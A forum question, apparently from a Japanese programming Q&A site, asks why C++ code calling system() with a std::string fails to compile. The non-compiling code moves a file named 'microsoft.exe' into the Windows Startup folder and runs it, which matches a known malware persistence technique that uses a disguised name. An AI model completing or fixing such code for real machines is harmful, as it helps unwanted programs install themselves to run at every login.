0

エラー E2285 no match found for "system(string) が見つかりませんでした。助けてください。コードは下にあります。なぜそれが機能しないのかわかりません。これは通常 cout<< で機能するためです。

#include <stdio.h>  /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS  /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>


string GetCurrentWorkingDir( void ) {
  char buff[FILENAME_MAX];
  GetCurrentDir( buff, FILENAME_MAX );
  std::string current_working_dir(buff);
  return current_working_dir;
}

int main(){
  string dir;
  dir = GetCurrentWorkingDir();
  system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
  system("microsoft.html");
  system("cd\\");
  system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
  system("microsoft.exe");

  return 1;
}
4

1 に答える 1